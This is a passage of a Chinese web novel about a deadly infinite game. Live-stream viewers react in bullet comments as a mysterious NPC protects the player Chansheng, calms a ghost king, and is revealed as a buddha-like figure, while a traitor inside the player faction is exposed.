:自己没事找事,直接葬了吧。 严岳没能认出谢叙白,自然也引起不小的风波。 颜值党恼恨就算在副本里遇见谢叙白,也可能认不出对方,咬着手帕含泪不甘。 分析党们忍不住猜测起谢叙白的身份,因为但凡涉及认知干扰的NPC,至少都有个小BOSS级别。 最有代表性的那位嫁山女,至今还在玩家心理阴影榜上傲视群雄。 没有黑子们的冷嘲热讽,到目前为止,弹幕氛围还算快活。 直到江凯乐发话把胡昌丢出去,整场试炼的画风陡然一变,充斥着玩家熟悉的森冷无情。 只“说话声音大”这一点就能触及必死规则,所有观众内心骇然。 他们倏然意识到这次副本可能比《犬害》更难。 为了保命,胡昌毫不犹豫把蝉生推出去替死。 见蝉生一脸茫然地被保镖拉走,有人忍不住叹气,但也无可厚非。 蝉生的技能就是替死鬼,对想要和他组队的人来说,他的价值在此,甚至仅限于此。 还有观众羡慕胡昌能说服议会长让出蝉生,要是蝉生以后和议会长解绑,他们绝对第一时间跑上去捞人组队。 每个人都以为蝉生必死无疑。 所以当谢叙白出面救下蝉生,打破死亡规则时,直播间几乎又引发一阵不小的动荡。 死亡规则能够打破,但只有实力排在前十的大佬有概率玩出这种高端操作。 由于太稀少,太罕见,大部分玩家都不知道存在这种可能性,直接以为触发死亡条件就只有死。 :触发必死还能活?? :这他妈可不是普通地喊一声就能叫停的。胡昌和蝉生都没法反抗,证明游戏规则在发挥作用,可是他居然说打破就打破! :我感觉打破规则的不是他,没看到保镖根本就不鸟他吗?那少年发话后保镖才停下来。 :这不显得更牛逼,能让你上司尊敬的,除了上司的上司还能有谁? :艹,死去的社畜记忆在攻击我,真的上个班事多钱少还要当侦察六处察言观色。 :我感觉这个江家大少爷不简单,很大可能就是标题中提到的“少年”。 很快这条弹幕的猜想得到证实。 在谢叙白他们离开后,江凯乐直接展现出诡王之姿,强调他有且只有一个老师。 少年诡王倨傲残忍,猩红血瞳不带有一丝人类情感,毫无顾忌地将随行的管家和佣人丢到大火中焚烧,凄厉的惨叫响彻阶梯教室。 这场面简直叫人背脊发凉。 可在提及老师两个字的时候,少年诡王的表情却无比柔和。 很难想象,两种极端的情绪姿态,会在短时间内呈现在同一个人的脸上。 他的残暴货真价实,他的温顺只对一人。 弹幕爆炸。 :我单知道他强,但完全没想到他能强到这种地步,要是能得到他的庇护,那不是相当于得到了免死金牌?比蝉生还好使啊! :他妈的严岳到底走了什么狗屎运,这样的好事能让他接二连三地遇上! :信女愿用肥肉三斤换副本里和谢叙白的一次邂逅,上帝保佑,佛祖保佑,玉皇大帝元始天尊保佑保佑保佑! :我真好奇谢叙白到底是什么人,怎么凡是诡王都肯听他的话? :好家伙,诡异世界万人迷。 :不不不,一般的万人迷能让诡王这么爱?谢叙白必定是魅魔级!所以我直接嗨老婆(狗头叼玫瑰) 因为谢叙白带着蝉生离开,严岳这边看不到他的动向。 不少颜值党当机立断转移阵地,涌入蝉生的直播间。 彼时谢叙白正在耐心教蝉生□□。 身为诡王老师的他,不仅没有一点架子,甚至比同行玩家还要注重蝉生的情绪。 好几次蝉生笨手笨脚,把长针弹飞出去,青年也一点都没生气,帮蝉生找出指法错误,手把手地纠正。 当蝉生有了进步,即使很微小,青年也会目露惊喜,不吝夸奖道:“做得真棒!” 蝉生便咧嘴傻笑。 蝉生的妈妈粉们都看得出来,谢叙白并没有像其他玩家那样,随便找个由头打发什么都不懂的傻孩子,而是真的想教会他点东西。 甭管严肃党或分析党把谢叙白的身份背景说得有多么惊世骇俗,又把谢叙白本尊猜得有多么高不可攀,屡次强调对方不简单、有诈、需要警惕。 在这一刻,他们盯着谢叙白弯眸浅笑的模样,依然不知不觉地看入了迷。 在弥漫着血腥味的无限游戏里,温柔和善良究竟是多么奢侈的东西,才能叫他们移不开眼睛? 再然后发生的事情,更是令所有观众瞳孔地震,满目错愕。 在场玩家一致认为,即使强大如诡王,都不能拒绝多一条命的诱惑。 可是,谢叙白居然没有拿走蝉生送出去的替死软糖。 这怎么可能? :卧槽,他是不是根本不知道吃下去就代表自己能多一条命? :你傻不傻,如果不知道,会强调一颗软糖是“重要的东西”吗? :他不仅没拿,还送给蝉生一颗糖,天啊…… 该怎么形容蝉生的妈妈粉们在这一刻感受到的震惊和酸涩? 明明只是一件小事。 明明只是一颗廉价到不起眼的糖。 但这是第一次,他们家的傻蝉吃上了别人给的糖。 傻孩子甚至珍惜得不敢嚼,鼓着腮帮子含半天,捏糖的手指头都忍不住舔了舔。 然后被谢叙白察觉,又掏空口袋,给了他仅剩的六颗糖。 蝉生特别高兴,从未有过的高兴,直勾勾地看着水果糖,情不自禁地用双手捧在手里,眼睛亮亮地哇了一大声。 看到这里的妈妈粉们简直感动得快哭了。 正在观看直播的议会长同时接到私信轰炸,纷纷质问他怎么这么冷血。 蝉生把命卖给他无数次,结果连颗糖都不给人吃。 议会长:“……” 蝉生没吃过糖吗? 这问题他竟然回答不出来。 蝉生如今名气大,是个人都想诱骗傻孩子一起组队。 议会长毫不怀疑,如果有机会让蝉生清空记忆重新“认主”,游戏大厅至少有一半玩家会前仆后继不择手段。 不是危言耸听,他原本拜托照料蝉生的公会成员,差点带着傻孩子叛变公会。 议会长勃然大怒的同时,又忍不住心里发寒。 他不能把蝉生单独放去外界,甚至不敢再拜托其他人照看。 但他本身公务繁忙,经常很久不回来一趟,也没法时时刻刻关注对方的境况。 大多数时间,蝉生就留在训练场,生活起居有设置好的系统机械负责,定点吃喝拉撒,几乎不和人接触。 蝉生的记忆会经常丢失,脑子也笨,所以需要加大训练,让战斗变成刻在骨子里的本能。 万一之后他不幸死亡,清空记忆,蝉生被人带走,这么做多少能提高点傻孩子的存活率。 但放在外人眼里,就是议会长不断压榨蝉生,致力于把他打造成没有情感的人形兵器。 议会长无力反驳,他连蝉生有没有吃过糖都不知道,确实不能算上心。 这次把蝉生交给胡昌祸害,也是让很多人无法理解的一点。 要知道,就连有潜力的公会成员想要借走蝉生,议会长大部分时间也是拒绝的。 对此,议会长没有对外做出任何解释。 深沉沧桑的目光投向直播画面,不错眼地盯着谢叙白的脸。 消失的地球在哪儿,剩下的77亿人又在哪儿? 诡异世界的灵魂有重量,他们会被放在何处? 议会长渴望在谢叙白的脸上找到答案。 但他疑神疑鬼地看了大半天,脑子里也没有一点关于这个人的记忆。 会议室只有一人,沉寂空旷。 坐在圆桌上的议会长忽然有些头疼,双手交叠,用指骨抵住胀痛的额头,指尖因大力而泛白。 空气中响起一声几不可闻的叹息,仿若牢笼中精疲力竭的困兽。 他不久前所窥探到的命运。 他将蝉生送进《屠龙少年》的抉择。 究竟会将未来引向所有人都期待的结局,还是又一次徒劳无功的悲剧? 直播画面中,谢叙白带领蝉生挨个威胁江家人,看呆了观众。 特别这时候有不少闯关者刚接到诡王少年的任务,正在调查江家人。 老实说他们就没见过这么难搞的精英怪和小BOSS! 正常副本里的正常诡怪,就算厌恶玩家,多少也能交谈上几句。 但是江家人,好像天生眼睛长在头顶上,只凭一句话里没用敬称,就能认定玩家心怀不轨,从而爆发冲突,引发大乱斗。 玩家们简直想把那一张张高高在上的脸摁进马桶里。 倒是有大佬这么做了。 结果小BOSS气得血脉喷张,青筋鼓起,怒吼一声“士可杀不可辱”,直接爆体,炸了大佬一脸血。 并且他被死去的江家人厉鬼施下仇恨buff,其他江家人只要见到他,二话不说就是狂暴就是杀。 该大佬彻底麻了,迎着满嘴的铁锈味泪流满面,向观众叮嘱该场副本的坑:“江家人有血脉羁绊,随便杀死任何一个都会引起其他人的仇视。” “你们之后通关的话多注意一下,能不杀别杀……亲测。” 于是分析师们细数了一下闯关者需要面对的小BOSS和精英怪。 至少二十。 尼玛,母猪下崽都不敢这么生。 其他主播寸步难行,死伤一大片,愈发衬得蝉生这边岁月静好。 他甚至不用苦战,只要在江家人出来的时候给一拳头,让他们维持五秒钟的冷静(懵逼)就行。 于是蝉生直播间的热度一路水涨船高,在热度榜上横冲直撞。 似曾相识的一幕,引起更多观众的注意。 不少观众点播的主播中招,被硬生生地围殴死,看得他们心里窝火,又为那无路可逃的死局毛骨悚然。 点进蝉生直播间的那一刻,他们脑子里满是江家人猖狂嚣张的嘴脸。 结果下一秒,就看到江家人做小伏低,满眼惊恐地对上蝉生两人:“您,您还有什么要问的吗?” 青年坐在沙发上翻资料,侧头时露出清瘦的锁骨,流畅优美的线条一路隐入半开的衬衫领口,修长的双腿相搭靠下,玉白的手指与纸页相得益彰。 那资料上不知道写着什么,让他眉头越皱越紧,声音微冷:“我没问你的时候别说话。” 新来的观众心惊胆战。 换其他直播间,这妥妥就是江家人暴怒开战的先兆。 结果眼前的江家人忙不迭应是:“好的好的,您忙。” 新来的观众:“……” 我靠,爽了,牛逼! 第52章 玩家视角的谢叙白2.0(…… 爽完才发现自己根本不认识直播画面里的这张脸。 虽说严岳曾经登顶过热度榜,但那只是暂时的,通关后没两分钟就被刷了下去。 按每个分区三千人流量来算,除去参与首通的闯关者,整个直播大厅有将近五万个分区! 各洲队之间离得更远,消息传播一度受限。 粉丝有自己心仪或力挺的主播,除非主播死亡或通关,不会轻易跳直播间。 所以有机会亲眼见到谢叙白长相的人,实际并不多。 :这人谁,怎么和直播间头像不一样。 :不是主播,是之前传的那位特殊NPC。 :卧槽这颜值绝了,难怪上回那些粉丝吵得沸沸扬扬。 :难道没人给他测美貌值?峰值100至少能上90,消息放出去直播间的热度肯定暴增。 :说出来你可能不相信,早先有人测过,他的美貌值只有60及格线…… :只有60?这张脸??开什么玩笑??? :安啦,我们当初比你还震惊,也是刚刚才知道特殊NPC自带认知干扰,基础数值都低得可怜。 :严重怀疑他28点的攻击力也是假的,实际肯定破95,要不怎么能制服得了诡王。 :攻击力又不是100封顶,我猜他在200以上。 :还是太保守了朋友们!300是人的极限不是NPC的极限,我猜500。 :再大胆点,我赌1000! :哇好多人在猜,房管在不在?干脆开个无限期竞猜奖池啊! 或许是直播间呼声太高,房管真就出来开了个竞猜池。 开池子的积分由参与者众筹,哪怕严岳中途死亡也会一直在。 奖池累积到一定数额会登上竞猜榜,答案揭秘的那天将发出区域通报,也是变相增加热度的方式。 所有观众摩拳擦掌,选择300以上的占多数,都觉得自己稳赚不赔。 这个过程中,越来越多的观众涌进直播间。 看见卑躬屈膝的江家人,他们惊得忍不住揉了揉眼睛。 :好家伙,这还是我认识的江家人吗?被谁顶包了? :没点进这个直播间前,我一直以为他的眼睛长鼻孔里。 :哎哟江爷~原来您能低头啊~不知道的还以为您高位截瘫捏。 :肯定是谢大夫妙手神医,佩服佩服。 :我还是喜欢你之前嚣张的样子,劝你恢复一下(滑稽)。 :hhhhhh笑发财了。 直播间的热烈快活不影响副本内的情况。 虽然谢叙白找的人比较多,但是他动作快速行动果断,见面单刀直入,问话直戳要害,得到答案就走,毫不拖泥带水。 没多久,他就带着蝉生在江家大院里逛了大半圈,获得不少情报。 :啧,我说蝉生这傻子怎么突然拥有这么高的热度,原来是有大佬带,傻人有傻福。 如果换成其他大佬带飞,观众们不一定会嫉妒蝉生的好运气,毕竟热度和攻略这东西给了傻子也没用。 但问题是,带他的谢叙白居然会在赶路的间隙抽空教导蝉生——这条路该怎么走,那条路该怎么绕,从哪儿逃跑是近道。 还有刚才的江家人。 谢叙白似乎知道蝉生不懂复杂的人性,便简单地用“弱小”、“强大”、“特别坏”、“记仇”来帮傻孩子快速记忆,规避他和小BOSS产生冲突的可能。 :突然幻视幼儿园老师带小孩。 :真.掰碎了喂嘴里。 :够了,真的够了,为什么这种好事就是落不到我头上,是我对老婆的美貌还不够虔诚吗? :不对劲!这里面摆明有问题,一个NPC为什么要对玩家那么好? :谁知道在憋什么坏水。 :就问前面疑神疑鬼的有完没完!日子这么苦好不容易能看点甜的东西调剂调剂,你跑出来搞什么阴谋论? :阴谋论?你要不转头看看闯关者死了多少再跟我说这话。 :万一哪天首通试炼要求强制参与,这个直播间里的人估计得死一片。 :对对对就你有危机感!告诉我你为什么还留在这儿,首通试炼的报名界面是对你单独隐身了对吗? 弹幕再一次吵得不可开交。 首通试炼开启,所有副本同时进行,游戏大厅的时间流速也会和副本实时同步。 哪怕不用做别的,只是盯着直播看,一天下来也很消耗精气神。 可观众们完全不觉得有什么,吵累了就出去吃个饭,休息一下回来后还能接着吵。 戾气就是有这么重。 直至当天傍晚,听到谢叙白柔声安慰江凯乐,正吵得面红耳赤的观众们齐齐一滞。 这边直播画面里上演亲子互动,温情和谐。 另一边弹幕区脏话频出、硝烟弥漫,宛如战争世界。 ……就很奇怪。 好像那头才是险象环生的诡异试炼,而不是他们这边? 有观众点进来,见状兴奋极了,兴致勃勃地追问:【刚才是不是有什么刺激场面被和谐了,让你们吵得这么凶?快点说来听听。】 别看直播尺度大,也有规则限制。 如果主播的操作无下限,被多人举报查实后,系统会出面暂时封停直播镜头,转播一些和谐无害的片段。 在混乱崩坏的规则里一板一眼地维持秩序,多少带点讽刺。 新观众的反应把弹幕刺激得够呛。 正主啥事没有,反而是他们闹得火冒三丈。怎么都有点狗咬狗一嘴毛,结果回头看到主人们心平气和一起喝茶的微妙感。 半晌,弹幕区才飘出来一句:这些NPC的相处方式还挺温馨的,哈哈哈…… 后半夜,外面怪物肆虐。 傻子蝉生借谢叙白的光留宿,再次逃过一劫,甚至和少年诡王成为了朋友。 看见两颗毛茸茸的脑袋挨在一起,两小只低声说着悄悄话,妈妈粉们差点要萌晕过去。 特别是看到江凯乐一改冷血残暴的模样,骄傲地扬着下巴自称江少侠起誓,他们就一阵好笑。 谁能想到诡王居然会像个普普通通的中学生,有这么中二可爱的一面? :掩饰异化的症状,怕让亲人担心,爱吃糖,会害怕。嘶,看到这样的诡王,我的心情有点复杂。 :我也是…… :之前是不是有谁提出过一个假说,无限游戏里的NPC和BOSS其实是真人。 :不是吧,这青面獠牙的哪儿像人啊? :我懂你的意思,只能说没办法,玩家和NPC立场不同,很容易站在对立面。而且BOSS对玩家的厌恶是天生的,这是副本机制。 :对,如果你们从其他直播间过来,会发现特殊的是谢叙白,是他改变了诡王,让诡王与玩家和平相处。 然而几十个副本,才出这么一个谢叙白。 这部分观众陷入沉默,没有继续谈论这个话题。 看见蝉生的妈妈粉们依然活力四射地为自家宝宝打call,他们忽然有点宽慰。 :哎哟咱家傻孩子什么时候这么开心过?能和诡王成为朋友可真不得了! :你们到底是怎么从缠满绷带的脸上看出开心的…… :看眼睛,看嘴巴,傻蝉平时很少笑的,就是不知道绷带下面长什么样,感觉会很可爱。 :也不知道蝉生进游戏前经历过什么,开场自带一身绷带,但看着不像是大面积皮肤损伤才缠上的。 :你们都不知道他长什么样?难道他就没把绷带换一换? :反正直播期间没有。前期他死得比脏得快,后面进了攻略组,有清洁道具可以用。 :可怜孩子一直在死,真的怜爱了,也不知道什么时候是个头。 不和谐的声音冒了出来:【拉倒吧,和其他人比起来,至少感受不到疼痛,脑子又傻没心没肺,不知道有什么好可怜的。】 :前面傻逼吗,换你一直替人死,你能乐意?连自己的死活都决定不了,这难道不可怜? :我这暴脾气,你再说他傻试一试?有本事以后别进试炼池。 弹幕可花积分查询ID。 蝉生的直播间骂谁都行,就是不能骂他傻,毕竟护犊子的妈妈粉们真的能追到试炼池砍死键盘侠。 那人怂了,气势弱三分。 :朝我发什么火啊,他自己觉醒的【替死鬼】能怪谁? 那人小声嘟囔道,这就是蝉生的命,跟他急有什么用。 事实就是事实,但妈妈粉们不讲道理。 原本觉得蝉生的直播间热度暴涨还挺好,现在一看都是些什么牛鬼蛇神?分分钟撸高袖子,维护起直播间的秩序。 他们爱屋及乌,凡是说谢叙白和江凯乐坏话的人也逮着一通怼。 冷嘲热讽,夹枪带棒,字字珠玑,一整套连招下来,硬生生把乌烟瘴气的直播间怼出一个海晏河清的奇异景象。 中场休息的时候,整个游戏大厅爆发出一场不小的动荡。 所有选择提前走杀戮线的闯关者,陆陆续续踩雷死亡,全军覆没。 观看池的直播屏幕数量以指数倍骤减! 当红龙出现、以凶猛灼息毁天灭地的那一刻,A级诡王副本《屠龙少年》终于向所有胆敢轻视它的人,露出狰狞恐怖的獠牙。 走救赎线和线索收集的闯关者也不好过,江家简直就是一个毒虫窝,没有一个是好相处的。 中途还必须小心谨慎,不能弄死人,要不然后期就等着在怪物潮中绝望吧。 遇上特殊NPC的严岳等玩家,境遇算是独一份。 诡王江凯乐直指家主之位,没有让他们去对付江家人,是以他们有更多的时间谨慎探索。 可他们并没比其他玩家宽松一点,因为变故发生得非常之快。 第一晚的怪物潮过去,观众还在弹幕上嘻嘻哈哈,调侃严岳他们没有眼力见。 要是这会儿跟在谢叙白的身边,还能和蝉生一起躺在江凯乐的卧室里呼呼大睡。 结果一个上午过去,特殊道具江家秘术古籍被偷,江家主暴怒,全江家下人受令狂暴诡化,对所有玩家展开大逃杀! 整个江家大院瞬间化作诡怪肆虐的修罗场,看到集结令的蝉生被召唤到其他玩家的身边,险些再次送出一血。 严岳的直播间不知道为什么突然中断,再次开启时,男人遍体鳞伤,身边多了个同样伤痕累累的死士。 通过他俩疲累的只言片语,观众听到一个惊世骇俗的消息。 ——胡昌叛变了! 一开始,他们以为胡昌单纯是和严岳作对,偷盗古籍坑害对方,谁知道后面越听越惊悚。 胡昌能拿出神级道具,他的背后有一个隐藏至深的神秘组织,该组织致力于让高记录玩家通关失败,让全体玩家留在无限游戏。 ——靠! 观众们忍不住骂娘。 不说观念对错,每一次首通试炼都是九死一生,所有闯关者都在奔赴一场随时不见归途的死亡。 而胡昌和幕后那帮人的自作主张,相当于扑灭先驱者手中的火炬。 重点是,他们居然强大到能拿出神级道具! 不知道这帮混账东西是什么时候建立的组织,又是什么时候开始插手试炼。 一想到许多闯关者的惨死,和每一次触及希望却功亏一篑的背后,都可能有他们推波助澜的指印,他们就忍不住一阵胆寒。 很快有人把消息整理,发给前线攻略组,怒不可遏地质问他们知不知道这件事。 毕竟胡昌可是攻略组的成员,本次参与试炼,他甚至从议会长那里讨到了蝉生的协助! 议会长对胡昌的幕后身份知情吗?前线攻略组中到底隐藏着多少像胡昌一样的内鬼? 还是说包括议会长在内,攻略组的真实目的就是放弃地球,以便在无限世界中完全掌握权力? 如果真是这样,那闯关者们为之奋斗到现在所付出的努力,不都成了笑话?! 猜忌链一旦形成,便一发不可收拾。 如果处理不好,将会导致玩家们的信任全面缺失,乃至于好不容易建立起来的秩序直接崩塌。 前线攻略组的对外负责人听闻这一消息,大惊失色,连忙出通告保证一定会在短时间内尽快调查出真相,给所有人一个说法。 就算胡昌在副本里逃得过一时,等出来后照样要面对攻略组的围堵截杀。 除非他永远不开直播,不进试炼池,不出现在玩家大厅。 随后攻略组内部展开一阵雷厉风行的大清洗,所有人被彻查行动轨迹、来往人际关系,有嫌疑的人直接被关押待审。 这边差点闹得攻略组分崩离析,另一边严岳等玩家的直播间里也是人仰马翻。 震撼的消息一个接一个,砸得观众们晕头转向。 不等他们从惊吓中回神,便看见江凯乐追着蝉生的踪迹赶过来。 迎面撞见蝉生险些被开膛破肚,少年直接愤怒暴走!熊熊火焰冲天而起,硬生生劈开一条血路。 看到江凯乐即将陷入狂暴状态,观众们心惊胆战,绝望地心想,完了,这下真的芭比Q了。 谁能想到特殊NPC谢叙白再次出现,而且出现就是大阵仗,直接带着全部江家人逼问江家主。 硬生生于山呼海啸中力挽狂澜! 可这还没完,真正高潮的部分还在后面。 江家族老出面,开口就表示谢叙白的身份不凡,言明他是佛所珍视之人,一群人浩浩荡荡地前往祭坛请佛。 不仅江家人心里直犯嘀咕,弹幕区也在激情探讨,对谢叙白身份的各种猜测说法层出不穷。 :老婆,你到底还有什么身份是我不知道的? :真就强者处处是惊喜。 :你强得有点离谱了啊老婆,怎么办,忍不住更爱了。 :呜呜呜呜呜怎么会有这么完美的老婆,温柔体贴实力强大美丽动人国色天香,啊啊啊啊啊我命中注定的老婆! :前面的还是悠着点,万一等下爆出更大的重磅信息,我怕你承受不住。 原本只是一句戏言。 谁知道下一秒风起云涌,地动山摇,银白色的雷光穿梭在厚重的乌云中,狂风大作吹得在场人东倒西歪,俨然一副末日之景。 直到一缕金光破开层层黑云,势不可挡地笼罩在祭坛中央的青年身上。 刹那间佛光开泰,满天神佛应召而来,轰然威势下,谢叙白展露出与往日截然不同的身姿。 雪白袈裟袍袖翻飞,如瀑青丝滑落身侧。 青年面色清冷,手持白玉佛珠,眉间一点朱红,气质出尘脱俗。迎风站立似雪中松柏,垂睫一刻,仿若能让人嗅到他身上那股幽微的白旃檀香。 弹幕在短暂的沉寂后,终是彻底疯狂! 第53章 你居然想创造规则? :老婆老婆老婆!这就是我命中注定的老婆!! :这个是真神仙!!! :老公这模样美杀我啊啊啊啊啊! :太惊艳太漂亮太美了老婆!!(疯狂蛄蛹)(尖叫)(被老婆美晕过去)(掐人中)(醒来继续叫) :等下我是不是眼花了?就眨了下眼的功夫红痣怎么不见了??? :??你们都在关注什么,不觉得有点离谱吗,诡异试炼中居然还有真佛存在? :前面的,如果真的存在神佛魔皇,后面的试炼不知道会难成什么样。 :对!明明不是好事,真不知道为什么会疯狂成这样,为捧一个脸好看点的NPC连脑子都不要了。 而后镜头转场,【完成任务后或可直接通关该场试炼】的字样以不可阻挡的势头冲进所有观众的视野。 顷刻间,密密麻麻的弹幕区猝然卡停,一片空白,出现弹幕大断层。 新观众进入,看着干干净净的弹幕区,有些纳闷。 直播热度那么高,结果没有一条弹幕,合理吗? 他们想要询问情况,用意念在脑子里编辑无数条弹幕,却没有一条出现在直播画面中。 这些新观众还以为是自己注意力不够集中。 他们没有怀疑直播间,因为直播功能属于系统的重点维护对象,此前没出过一次问题。 这种不正常的情况一直持续到两分钟后。 宛如暂停的电影画面突然按下播放键,大量弹幕如潮水般疯狂涌入。 字叠着字,句句重合。弹幕密集到一定程度,直接变成一片黑幕,密不透风地遮挡住整个直播画面。 要有这样离谱的视觉效果,这一短时发出的弹幕数量至少破亿! 新观众神情有一刹那的惊愕。 原来不是自己的脑子出了问题,是TM直播间刚才真的陷入瘫痪! 这时候还没有玩家反应过来,这是无限游戏开启至今,系统功能第一次出现差错,还在为【直接通关】的字样大喜若狂。 不管是颜值党、休闲娱乐党还是严肃党、技术高玩,都感觉自己的脑子嗡嗡作响。 直播崩溃,他们的满腔震惊无法言说,带着极度的不敢置信,下意识看向同分区的其他观众。 对上眼的那一刻,所有人脱口而出。 “直接通关?” “没看错?” “是真的?” “靠!!!!” 热烈的讨论声犹如百米海啸扑岸而来,掺杂着各种尖叫、询问和质疑,几乎震破直播大厅的天空! 致使他们狂热和不清醒的源头只有三个字——谢叙白。 再然后就是谢叙白带着玩家激活特殊道具,消除诡王的异常状态。 江凯乐恢复少年身姿后,带着蝉生离开江家,两小只在外面玩得不亦乐乎。 更多的观众闻讯赶到,严岳等玩家的直播间热度势若破竹般冲上首页。 包括蝉生,脱离《屠龙少年》的后续剧情后,反而让他成为数据分析师们的重点关注对象。 只因这是第一次有玩家脱离副本的区域限制,观览诡异世界的部分面貌。 “副本居然不是数据塑造出来的虚拟关卡,那边有一个真实且运行逻辑正常的世界!” “超市商场、医院学校、街道……公园湖边还有禁止玩水、注意看护小孩的警示牌,这和地球有什么两样?” “我靠我靠我靠,我突然有了一个大胆的猜测!” “感觉有点假又感觉很像,有没有谁出来认领一下这到底是不是地球?” “看起来像是我们省,口音方言都很熟悉,但是区域地形和建筑真的很难认,分不清啊草!活在地球的日子遥远得好像过了一个世纪。” 蝉生脱离试炼,出现在登出口,睁眼就看见一群亢奋到气血上涌的分析师。 议会长也在。 不止为蝉生看到的一幕幕形似地球的景象,更为抓捕叛徒胡昌。 在试炼即将通关的最后,胡昌被严岳等玩家逮住。 结果不等他们好好审问一番,胡昌开始无意识抽搐,整个人像是濒死打挺的鱼,翻白的眼珠子几乎要凸出来。 严岳等人大惊失色,尝试用道具清除他的负面状态,但是完全没用。 没多久,胡昌的身上浮现出密密匝匝的青黑色咒文,紧跟着狠狠一震,心脏啪一声破碎,大脑轰然炸开,红红白白的脑浆溅了一地。 严岳等人的心脏瞬间沉入谷底。 他死得干脆利落,却让一众攻略组成员陷入信任危机,被限制行动调查清算。 那些成员恨不得啖其血肉。 哪怕胡昌记忆清空,这事也没法善了。 议会长亲自带人堵在重生点,为防止对方背后的神秘组织从中作梗,直接清场拉线,在胡昌现身的一刹那,成功将其制服。 胡昌浑浑噩噩,脑子仿佛面粉掺水糊成一团,被几名壮汉陡然压在地上,一脸懵逼地大喊:“你们要干什么?放开我!这里是哪儿?” 结果那几人听到他的叫喊后,不仅没有放开他,反而面色铁青地往他的身上狠狠踹了几脚,痛得胡昌惨叫出声。 蝉生看到了。 他想上去补一脚。 胡昌之前想对付谢叙白,差点害死乐乐,他很记仇的。 但鉴于议会长还在旁边看着他,终究还是忍了下来。 议会长一时没说话,眼眶通红,嘴唇轻颤,眼里隐约含着湿意,透出让蝉生看不懂的深沉情感。 蝉生唔了一声,决定先道歉:“对不起,我把糖给了乐乐,以后不能帮你去死了。” “和你立下的功劳比起来,那些不值一提。”议会长深吸一口气,收敛所有的情绪,布满厚茧的宽掌揉揉他的头发,声音沙哑得不成样子,“蝉生,你记住,你是大功臣,所有玩家的命运或许会因你而改变……” 从上一次试炼开始,玩家通关后不会直接弹出副本,而是会滞留一小段时间。 这小段时间,他们不断尝试前往其他区域,却有一片朦胧的白雾将他们拦住。 如果硬闯,系统还会发出死亡警告。 包括这次试炼。同场的严岳等人顺着江家大院的边界一路探寻,能看见的只有茫茫白雾。 雾里传来窸窸窣窣的讥笑声,各种影子一掠而过,辨不清形貌。 这次,系统倒是没有发出警告,也没有无形的空气墙阻拦玩家接近。 他们扔东西试探,没反应。 死士尝试进入。 结果手臂刚没入其中,剧烈的疼痛令他脸色煞白,虚空中传来不容抗拒的力量,试图把他整个人拖拽进去。 其他人见势不对,一齐拥上,艰难对峙良久,终于把死士拖出白雾。 可紧接着他们惊恐看到,死士整只手臂的血肉被蚕食,只剩森白的骨头摇摇欲坠地挂在单薄的筋肉上。 如果不是大家刚才反应及时,恐怕他整个人都会被吃得只剩一副骨头架子! 能够跟随江凯乐走出试炼区域的蝉生,是玩家中唯一的例外。 如果没有他的存在、他的直播,玩家可能这辈子都窥探不到诡异世界的本貌。 此前,议会长的内心时刻都在饱受煎熬,反复怀疑自己不该把蝉生交给胡昌。 当试炼世界的景象步入直播镜头的那一刻,他多日紧绷的神经陡然一松,那颗高高悬在嗓子眼的心脏终于安稳落地。 蝉生不明所以,见大家都很高兴,仿佛被感染,也忍不住露出一个笨拙的笑容来。 他们一起传送至【议会大厦】。 其他人带走胡昌,蝉生跟在议会长的身边。 议会长道:“一会儿我们会召开紧急会议,需要你一同参与,告诉大家一路看到了哪些地标或建筑物……” “好的。”蝉生乖巧点头,冷不丁说道,“我想参加那个实验。” 议会长脚步一顿,狐疑地回头看他:“什么实验?” 以蝉生的智力,能够精准地说出“实验”两个字,不免令他有些惊讶。 也是这个时候,议会长注意到蝉生的右手一直紧紧攥着某件东西。 蝉生道:“就算死掉也可以保留记忆的实验。他们说,如果顺利,连道具也能保留下来,希望我可以参加。” 议会长脸色大变,眼神凌厉至极:“这话你听谁说的?” 会有这种实验并不稀奇。 从无限游戏开启的那一天起,人类从来没有放弃攻克系统带来的限制。 如果死亡可以保留作战经验和道具,那对玩家将是一次超越性的进步和提升。 包括议会长在内的各大组织头领,都很希望看到这项实验出结果,曾经他还为这项实验拨过资助款。 但问题是,这个实验是【高塔】那边的秘密研究项目,前线攻略组这边只有他和几位高层属于知情人。 除去通关副本,蝉生就没离开过前线攻略组,完全排除在外被蛊惑的可能。 而且蝉生记东西很慢,如果不是身边有人反复提及,他不可能准确说出实验内容。 不管是那几个高层多嘴,还是攻略组内部被高塔的人渗透,都让议会长怒火中烧,特别还有胡昌背叛事件持续发酵。 攻略组简直被人入侵成了个筛子! 见议会长的脸色黑沉得可怕,蝉生以为自己说错话,抿唇道:“抱歉……” “不,这事与你无关。”议会长注意到他的不安,连忙恢复常态。 见蝉生眉头紧皱,似乎对保留记忆的实验依然意动,议会长顿了顿,语气和蔼地问道:“我能看看吗?” 顺着议会长的视线看向自己的右手,蝉生想了想,点头道:“可以。” 他摊开手,掌心赫然放着一片红鳞,日光下反射出一阵绚丽的红光。 【道具名称:红龙的鳞片】 赠予者:A级诡王江凯乐 道具说明:位于红龙心脏处的其中一枚护心鳞,坚硬如铁,水火不侵。 骄傲的少年不擅表露对亲友的在意,但红鳞的炙热永恒存在。 效果一:此物带有红龙的真心祝福,佩戴者将完全免疫火焰伤害。 效果二:此物内含红龙的心火,可驱散100%的寒冰伤害。 效果三:此物携带红龙的气息,凡【江凯乐】御下的诡怪将被施加震慑效果:攻击力下降至0,防御力下降至0,有概率致其晕眩、昏迷。 …… 议会长使用鉴定术,一长串效果说明看得人眼花缭乱。 作为玩家,很难不对特级珍品道具心动。 他连忙移开视线,忽然想起在直播中看到蝉生和诡王江凯乐的约定,微微凝神,从空间中取出一个形如红绳的道具。 议会长用红绳穿过红鳞,将其挂在蝉生的脖颈上,语重心长地说道:“这条绳子自带隐匿效果,别人看不见你所持有的红鳞,更没法对它使用鉴定术。” 蝉生能感觉到议会长在帮他保护这块鳞片,高兴地点点头。 议会长阴恻恻地道:“还有,如果今后再有谁邀请你参加那劳什子的记忆实验,不要答应,记住他的脸,回来告诉我。” 蝉生疑惑地应了。 议会长微微叹出一口气。 如果记忆实验出效果,别说蝉生,他不惮于第一个报名成为实验品。 问题是从高塔那边的进程并不乐观,已经传出好几个参加实验的人出现精神异常的症状,差点疯掉。 倒是听说之前有个突破性成果,死亡后能零星记得一些事情。 可轮到展示的时候又突然没了动静,让人空欢喜一场。 见议会长依然愁眉苦脸,蝉生道:“没关系。” 他摸了摸鳞片。在他说出再见后,江凯乐突然扯下这枚鳞片塞给他。 鳞片滚烫带血,蝉生直到脱离试炼都没反应过来,一直紧紧攥在手里。 